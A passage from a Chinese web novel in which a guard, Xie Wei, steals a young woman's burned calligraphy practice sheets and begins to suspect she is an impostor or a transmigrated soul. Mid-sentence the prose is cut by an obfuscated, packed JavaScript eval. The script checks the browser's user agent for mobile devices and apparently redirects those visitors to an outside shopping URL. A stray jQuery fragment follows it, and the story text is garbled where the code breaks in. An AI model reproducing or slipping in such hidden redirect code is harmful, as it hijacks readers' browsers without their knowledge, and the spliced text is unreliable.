苏棠淡淡的说:“三妹,这是伯府新来的护院。”说完这句话,像是身上的精气都垮下来了一般。
她脸上露出几分认命的感觉。
一路上还颇为松弛的谢巍,这时候也恢复了那一张冷脸和淡漠的气势。
“见过三娘子。”谢巍还是恭敬地问候,“如今小人不是卖身给苏家的,与以往不同,三娘子若是对小人有哪里不满,可以和管家说。”
“我……”一时间苏玥都不知道自己该说些什么,忽然又松了口气,“那日的事我反思过,我确实有些做得过分不对,今日还能再见你,你又还在伯府,我当补偿你,往日恩怨抵消,如何?”
谢巍皱眉,显然没想到苏玥会说这个,难得的好说话,难道是又想到了什么新招数对他?
苏棠不想看苏玥和谢巍眉来眼去的,“三妹,我乏了,先回去休息了。”
说罢,她带着南星就回了海棠居。
苏棠转身,谢巍便感受到了她眼底闪过的一丝厌恶,以及不开心。
她不开心什么?又厌恶什么?厌恶我?还是厌恶眼前的苏玥?
谢巍冷眼看苏玥:“三娘子是金枝玉叶,何谈补偿我这等卑贱之人,小人受不起。若无事,小人也到了下值的时候,先告辞了!”
苏玥想叫住谢巍,又记起自己还有事,只能作罢。
她虽然穿书来的日子不短了,融合了原来苏玥的记忆,可很多事脑子会了,手却不会。就拿那一手好字来说,她是怎么都写不出,只能自己偷摸练。
就说今日,她需要出门采购一些宣纸,因为府中供应的纸张都是有限的。苏玥一直就不是勤奋的人设,所以她不能大肆使用府内的宣纸练字。
这段时日以来,但凡是女先生布置下来的课业,或是罚抄的女诫、佛经,她都是让四妹苏梨代劳。也难得那个傻子为了讨好她,练了一手她的笔迹,又自愿为她做事,否则她迟早露馅。
只是如今再难掩饰下去,因为母亲林氏最近要教她管家,看账记账等等,她都需要写字,再不抓紧把原主的字给练出来,事就要瞒不下去了。
夜里谢巍躺在榻上,黑暗中他闭目养神。再回安宁伯府待遇变好了,管事给他安排的住处也是一个小单间,虽不大,但是也算整洁干净,还给了一床厚实的被子。
蜡烛灯油等消耗品太贵,所以府中分到下人手里其实都不多,故而晚上下人房里是不点蜡烛的。
他脑子里,一直在回想事情。
之前在苏家,虽没有记忆,但屡次被苏玥以各种缘由惩罚鞭打、罚跪雪地,当时他觉得自己的杀心都快摁不住了。
每天都活得很累,哪有那么多的心思关注其他的事。如今回想,处处都透露出诡异的不和谐。
是眼神!
黑暗中他睁开双眼。
从苏玥第一次惩罚他开始,苏玥手中的鞭子落下带着狠劲,眼神中总是趾高气昂的,看他犹如看一只小小的蝼蚁。从什么时候开始变了呢?落在他身上的鞭子看似重,却不似以往那般狠辣,眼神也变了,多了几分扭捏和闪躲。
当时他只觉得苏玥这个女人大概有病,每次欺凌虐待完他,又假惺惺送来伤药,大概闺阁千金总喜欢戏耍下人。
还有最后那一次,他跪在雪地,边上冻死了一个婢女。那时苏玥的眼神,有种握在手里的猎物被人觊觎,最后恼羞成怒的意味。
再看今日苏玥再次见到自己,惊讶之下却带着欣喜,言语更是放软。
他从来不觉得一个人的性情可以多变到如此地步,尤其是一个十几岁的闺阁女子。
有问题总要去弄明白才是,原本他是不想再回到苏家的,而鉴真却告诉他,他想要的契机或许就在这里,所以他又重新回到了这里。
谢巍趁月色,施展轻功前往萝月居。
已经接近二更天,此时萝月居的暖阁还亮着烛火,春寒料峭门窗紧闭着,屋内还燃着少许炭火。
紫草穿着棉袄,盖着薄薄的毯子蹲守在暖阁门外,头一点一点的,可见是犯困了。
这段日子,也不知道三娘子在做什么,晚间总是把她赶出去,自己在暖阁里涂涂画画的,也不许她看,也不让她收拾书案那些。
每天晚上最冷的时候,她只能蹲守在房门口,她真是羡慕死了府上别的婢女,能陪着自家娘子呆在屋内,暖暖的。
苏玥只觉得自己快要烦死了,这个死系统,和她看过的那些小说里的万能系统不一样,也不能给她变出个书法大师什么的技能。
搞得她最近死命的从原身的记忆里,找出写字的要领,像个初学孩童一样,从握笔到书写,一步一步地来,关键是这古文字笔画还多,练得她每日手腕都快断掉了,腰酸背痛的。
这仅仅只是小有进步。
“紫草,给我另外弄个炭盆来。”她今日也是练累了,扔下狼毫。
为了不留下任何痕迹,她每日都会把练字的纸烧掉,在这方面,她还是十分小心谨慎的。
紫草险些就要睡着了。
闻声,身体动作比脑子还快的反应过来,立即喊了一声:“奴婢这就去。”
坐在书案后的苏玥,揉了揉酸疼的右肩,这时候门口传来一道奇怪的声响。
莫不是紫草碰倒了什么?
苏玥当即起身出门去一探究竟,刚一打开门一阵冷风就灌了进来。
等她看清的时候才发现房门口,不远处的地上有一只断了脖子的乌鸦。
她吓得当即捂住嘴巴,这个时代的人最忌讳这个了,乌鸦死在门口,要是传出去,指不定明日林氏就会请人进府,表演跳大神驱邪。
“三娘子怎么出来了?”紫草手里端着一个普通的炭火盆,从后罩房出来就看到了苏玥。
“紫草,快,快把这个脏东西弄走。”苏玥当即吩咐。
紫草这才顺着她的目光看去,也是吓了一跳,“这,这是不祥之兆啊!难不成是撞门上了?”
“快弄走。”苏玥只想赶紧清理干净,“还有,不许说出去。”
紫草只能匆忙放下炭盆,“三娘子别怕!我乡下的外祖曾说过,夜里鸟儿视线不好,总是往有光线的房屋撞去,然后脖子断掉……”
“别说了。”苏玥冷声喝。“弄出去埋掉。”
紫草咬了咬唇,当即便找了扫帚,去清理。
等苏玥拿着那炭盆回来,也未曾注意,心神不宁的拿过那些练字的稿子,一把就扔到了炭盆里燃烧。
浓烟升起有些呛鼻,这才让她回过神来,发现一把扔下去烧,炭盆内火势都大了些,浓烟起来,她只能赶忙打开了窗户,让浓烟散出去……
谢巍回去后就拿出随身的火折子,点燃了烛台。
他手里正是方才从萝月居拿出来的字稿。
刚才那死乌鸦的动静就是他弄出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275207|198206||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来的,为了不打草惊蛇,他可是蹲守了许久,才意识到苏玥是打算烧掉那些字稿。为了拿到字稿,他只能使出小手段吓吓人,为的就是吸引苏玥出去,好从窗户进去,顺走那些准备烧掉的字稿。
谢巍看着那歪歪扭扭的字,这水平,只能说和初学练字的孩童不分上下。
再打开另一份,从痕迹来看,应当是一两年前苏玥的课业笔记。
上面的字迹娟秀,和如今这新墨写出的字,只能说毫无相似痕迹,一丝一毫都没有。
谢巍很早跟着父亲武定侯外出征战了,出门在外,五湖四海的将士多,修整时都靠讲闲话说故事度过。其中民间传说,江湖异事,他都曾听说过不少。虽不曾亲眼见过,但是道听途说的许多事,都异常的逼真。
什么死人复活,一体双魂,他对这些奇人异事倒是不反感,也一直有种敬畏心理,总觉得信则有不信则无。
所以到底是什么样的情况,会导致一个人前后出现不同的字迹?
现在的苏玥不是以前的苏玥?
谢巍想到了这个,否则很难解释。
又或者说现在的苏玥是假扮以前的苏玥,她或许是易容了,那以前的苏玥又在哪?现在的苏玥又是何时代替了从前的苏玥呢?
谢巍实在是没想到小小的安宁伯府苏家,居然会有这样的事。
他实在是好奇。
看来这个谜团或许和鉴真所说的契机有关。
看来接下来的日子不会太无聊了,自己还是要先弄清楚现在的苏玥是不是易容了,如果是,真实的身份又会是什么。
春闱的日子不长不短,转眼半个月过去了。
而苏家也开始活络了起来,苏砚秋平日里不是跟随老师出去访友,就是跟着父亲出去拜会昔日的同窗旧友等等。
苏栋除了跟父亲四处走动一下,就是跟随朋友一起出去赏春,吟诗作对。
以前安宁伯府门可罗雀,如今逐渐家里一下子来了很多拜会的人。这些人想的是什么,冲的又是什么,不言而喻。
这些时日苏棠都没出门,这不是她对出门实在没兴致,而是她病了,这一病幼时大半个月。
春寒料峭,她不幸染了风寒,发了一次轻微的低热,虽不似之前那般严重,却也难受得紧。嗓子就像是吞刀子一般难受,说话都费劲。
苏老夫人心疼坏了,借着此事,她还从南星那得知,苏棠之前在宫里被公主欺凌还落过水,生了一场大病,从那后身体就差了许多。
大夫来过,说是苏棠身子底子差,受了寒,寒气入体,甚至此后子嗣也会艰难一些,还是要多保养身体才好。
“真是报喜不报忧。”苏老夫人甚至都没舍得骂她一句。
林氏作为嫡母自然是要周全照料,每日吩咐人将补品送去海棠居,还遣婢女来一日三问。二叔母李氏也是十分的心疼她,几乎是每日都要前往海棠居来照看。
夜里谢巍和另一个同僚负责巡视值守,路过内院女眷居所大门时,忽而想起白日听府中的婢女说起过一嘴,说二娘子病了好些时日了。
难怪他最近都不曾见过苏棠,原来苏棠从开元寺回去后不久,就病了。
“你去那边吧!”谢巍和同僚分散开,“我在这块巡视看看。”
当他不知不觉出现在海棠居的墙外时,想到的都是半个月前从开元寺回来后,她不开心、垂头丧气的样子。